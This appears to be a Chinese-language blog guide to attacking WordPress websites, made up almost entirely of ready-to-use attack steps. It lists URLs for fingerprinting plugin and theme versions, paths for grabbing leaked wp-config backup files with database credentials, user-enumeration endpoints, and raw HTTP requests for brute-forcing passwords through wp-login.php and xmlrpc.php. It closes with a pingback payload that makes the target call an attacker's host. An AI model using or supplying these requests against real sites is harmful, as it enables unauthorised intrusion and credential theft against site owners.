干貨 | Wordpress網站滲透方法指南

如果您遇到使用 WordPress 的網站，您會怎么做，滲透思路和安全檢測思路？

如何挖掘Wordpress網站的漏洞如果您訪問https://target.com并查看源代碼，您將看到來自 WordPress 的主題和插件的鏈接。

或者你可以訪問https://target.com/wp-login.php，它是 WordPress 登錄管理頁面

通過查看核心、插件和主題版本找到相關的CVE

• 如何找到wordpress版本

https://target.com/feed 
https://target.com/?feed=rss2

• 如何找到插件版本

https://target.com/wp-content/plugins/PLUGINNAME/readme.txt
https://target.com/wp-content/plugins/PLUGINNAME/readme.TXT
https://target.com/wp-content/plugins/PLUGINNAME/README.txt
https://target.com/wp-content/plugins/PLUGINNAME/README.TXT

• 如何找到主題版本

https://target.com/wp-content/themes/THEMENAME/style.css 
https://target.com/wp-content/themes/THEMENAME/readme.txt (If they have readme file)

如果您發現過時的核心/插件/主題，請在https://wpscan.com找到漏洞利用

• 查找日志文件

http://target.com/wp-content/debug.log

查找備份文件 wp-config

http://target.com/.wp-config.php.swp
http://target.com/wp-config.inc
http://target.com/wp-config.old
http://target.com/wp-config.txt
http://target.com/wp-config.html
http://target.com/wp-config.php.bak
http://target.com/wp-config.php.dist
http://target.com/wp-config.php.inc
http://target.com/wp-config.php.old
http://target.com/wp-config.php.save
http://target.com/wp-config.php.swp
http://target.com/wp-config.php.txt
http://target.com/wp-config.php.zip
http://target.com/wp-config.php.html
http://target.com/wp-config.php~

• 獲取網站上的用戶名

http://target.com/?author=1

或者

http://target.com/wp-json/wp/v2/users 
http://target.com/?rest_route=/wp/v2/users

• 爆破后臺賬號密碼

POST /wp-login.php HTTP/1.1
Host: target.com

log=admin&pwd=BRUTEFORCE_IN_HERE&wp-submit=Log+In&redirect_to=http%3A%2F%2Ftarget.com%2Fwp-admin%2F&testcookie=1

或者

POST /xmlrpc.php HTTP/1.1
Host: target.com

<?xml version="1.0" encoding="UTF-8"?>
<methodCall> 
<methodName>wp.getUsersBlogs</methodName> 
<params> 
<param><value>admin</value></param> 
<param><value>BRUTEFORCE_IN_HERE</value></param> 
</params> 
</methodCall>

• wordpress 中的 XSPA

POST /xmlrpc.php HTTP/1.1
Host: target.com

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://yourip:port</string></value>
</param><param>
<value>
<string>https://target.com></string>
</value>
</param></params>
</methodCall>

• 注冊啟用

http://example.com/wp-login.php?action=register